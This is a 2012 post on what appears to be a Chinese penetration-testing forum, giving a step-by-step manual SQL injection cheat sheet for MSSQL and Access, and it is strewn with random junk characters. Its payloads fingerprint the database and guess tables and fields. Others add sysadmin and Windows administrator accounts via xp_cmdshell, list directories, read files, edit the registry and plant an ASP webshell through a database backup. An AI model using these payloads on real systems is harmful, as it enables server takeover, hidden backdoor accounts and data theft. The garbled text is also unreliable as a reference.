中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入
4 G) l6 j# g& y9 }6 r3 [1.判断是否有注入;and 1=1 ;and 1=2
  A: q  @* K4 X  D/ X8 o( E' [3 c% n  G( W. f( J! P0 Y  i" W
2.初步判断是否是mssql ;and user>0 % Z. q9 s7 u$ w! }6 d  I

% n- I3 Z7 R% S3 D9 e3.注入参数是字符'and [查询条件] and ''='
8 {% U+ B4 {9 G3 H. L8 {$ y! w6 W/ E
4.搜索时没过滤参数的'and [查询条件] and '%25'='
' y+ }* ^  A. w' @4 I6 n' M% Z! N: J' o
5.判断数据库系统
3 P% q5 a7 t' ]4 n( e;and (select count(*) from sysobjects)>0 mssql * l( R  y' G7 u. ?5 `
;and (select count(*) from msysobjects)>0 access
# s. f; F3 u3 f. D  I& H( A% _9 c' k- V7 I/ t7 m9 s  f7 f
6.猜数据库 ;and (select Count(*) from [数据库名])>0
9 O5 Y8 r; j/ h' Q# a0 I6 K+ m) l
$ b  \2 P( J! `0 g' R7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8 f' Y  E; h5 x9 `8 y
/ l7 {  u0 c! W8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ( G+ M, E% H( j& `

0 W, ^+ u+ u+ m# P/ H! a* }9.(1)猜字段的ascii值(access) 3 H! g' l* B3 M
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ) v- b+ b# X/ `& O1 ], z

6 ~/ e  m& N$ v! `. ]' @(2)猜字段的ascii值(mssql)
3 E. G' g8 I% A. O) m;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 C+ M: }: P9 ?
1 u3 V: E% s) `10.测试权限结构(mssql) " R. A$ K# Z* R& }1 O) C/ `
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
  _9 v! R& k3 c2 t;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- : u/ G( D0 l6 q* d. x0 _
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5 P2 p/ |7 M/ n
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
' o/ }5 _6 G' \;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
+ J0 u3 C1 I5 S5 A  l- ?;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; P) s/ l4 O8 r3 U$ H- a& p, l
;and 1=(select IS_MEMBER('db_owner'));--
+ \- i; j; |# ^; p( L3 F. X6 w2 B1 g% I; j$ ~/ G
11.添加mssql和系统的帐户
* s4 U8 T- v4 ?5 X;exec master.dbo.sp_addlogin username;--
" P) W  c: C, _( J0 L+ t3 I' y& d
# q0 E6 d7 T0 U- R. [) W4 m! x;exec master.dbo.sp_password null,username,password;--
0 J8 V! s3 h& Q! @
- I+ k! h3 ?' H) f2 [1 @: P/ u;exec master.dbo.sp_addsrvrolemember sysadmin username;-- - e$ |$ s: N5 U5 R( h1 _5 ]1 F% h
$ k. g) {' s: U
;exec master.dbo.xp_cmdshell 'net user username password
; I5 l! H& s+ K# [1 Z( N( o* |- d/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
; _6 V8 y9 ~5 `4 d1 T' b
* @8 v  j' w( }, D1 {. e* M;exec master.dbo.xp_cmdshell 'net user username password /add';-- $ u8 i" p8 e, p& V- j  o' J

) t) F# ^/ P% @2 T0 y;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
, q$ M  t7 ]0 l) `
9 V% E( i6 f! ~; w+ r& t12.(1)遍历目录 3 S* ~( Q& P+ g
, k! I/ I# C$ n  D
;create table dirs(paths varchar(100), id int) 8 L9 O. c1 I2 D; c3 Y
;insert dirs exec master.dbo.xp_dirtree 'c:\' 7 ?% w* ~2 n) u
;and (select top 1 paths from dirs)>0
  Z2 e( h9 K  |' v1 K  N;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) + b0 w7 {) B( N5 D; S$ z  V
/ L4 N+ L) P2 Q1 }
(2)遍历目录
6 ?* a. R# i- L( P! m! Z- S6 z;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
( U* o  ]! f) v( w* t;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
; e2 L/ e5 g' w# W;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 , r# ?& m' a" }/ x' T
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
3 W$ t. N$ T; r* Z/ X- f4 c;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
' M5 S$ O7 H) v0 V! ?( A, p/ p4 C0 D  r( _
13.mssql中的存储过程   S2 F# o6 n2 ?  ?& r$ I

. K2 j% Z+ p/ H/ U  R- }( cxp_regenumvalues 注册表根键, 子键
: D7 u8 n& Z6 r  `;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
3 X" T: q, `6 c3 X9 O' c0 T
0 L5 _7 G$ F( g& y+ Q4 M/ K/ {$ ?: hxp_regread 根键,子键,键值名
6 o# M) H+ w; ?. ?$ n2 t;exec xp_regread & y0 z# F" w# _0 D, o
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 # V* D4 ~! t5 p# [1 a
& B( A' ]* T' U& Z" e
xp_regwrite 根键,子键, 值名, 值类型, 值 / K% _& e8 u0 Z3 f- V
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
0 w4 r/ l$ M+ t/ A2 I;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
% G# Y! E4 {3 Q* t+ b
; x: b/ r/ Z7 P" d0 ]xp_regdeletevalue 根键,子键,值名
: s& O0 L( l; z( ?* B+ W; M' ^3 S& f, K; J4 V& |! J
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
" E7 A0 m# E6 q6 R+ K4 Y
* @) r# g7 K7 r; `8 ixp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 % |/ k) v3 U, l
  u) s. V8 g' W; R& m1 ]
14.mssql的backup创建webshell
" ~7 ^$ M/ n3 K& _- D8 `use model 8 a6 g6 B' |: {8 T7 _. m
create table cmd(str image);
% u3 D/ ~) O- Y$ O; R+ u5 Linsert into cmd(str) values (''); + w3 o. a  v! i+ p
backup database model to disk='c:\l.asp'; ' h& j( ~- Z. j# A

6 y$ U, e/ X. M7 d! i# a* o2 X5 F15.mssql内置函数
0 Q, Y% x, N8 ~; f) U;and (select @@version)>0 获得Windows的版本号
/ C6 X6 f) W7 ~& ]/ Z$ i6 s. P;and user_name()='dbo' 判断当前系统的连接用户是不是sa
0 k6 Z% j5 p% z9 h3 r. E6 M;and (select user_name())>0 爆当前系统的连接用户 3 {% Q. s9 u9 \! @: n1 X
;and (select db_name())>0 得到当前连接的数据库
' b3 `; c; o7 G
! _$ b! |4 b' h. s1 t% a& m16.简洁的webshell $ T. v; R0 Z( Y$ h% q
1 b; s9 ^$ Y* v9 A! \! g5 M6 f
use model 4 w- S% W# N" D3 T  S
" b) v9 i% ?$ H
create table cmd(str image);
9 |5 j9 v8 L" D- q: k  H, R
7 Q5 r! c! j: r( V  }1 Ninsert into cmd(str) values (''); ) y1 G  q; _6 [' n* ?) C& W
  |( Q, v0 ^, x
backup database model to disk='g:\wwwtest\l.asp';
' O: |7 c* U/ W7 F# s: T1 e0 C
1 g, S: a5 \; c
作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2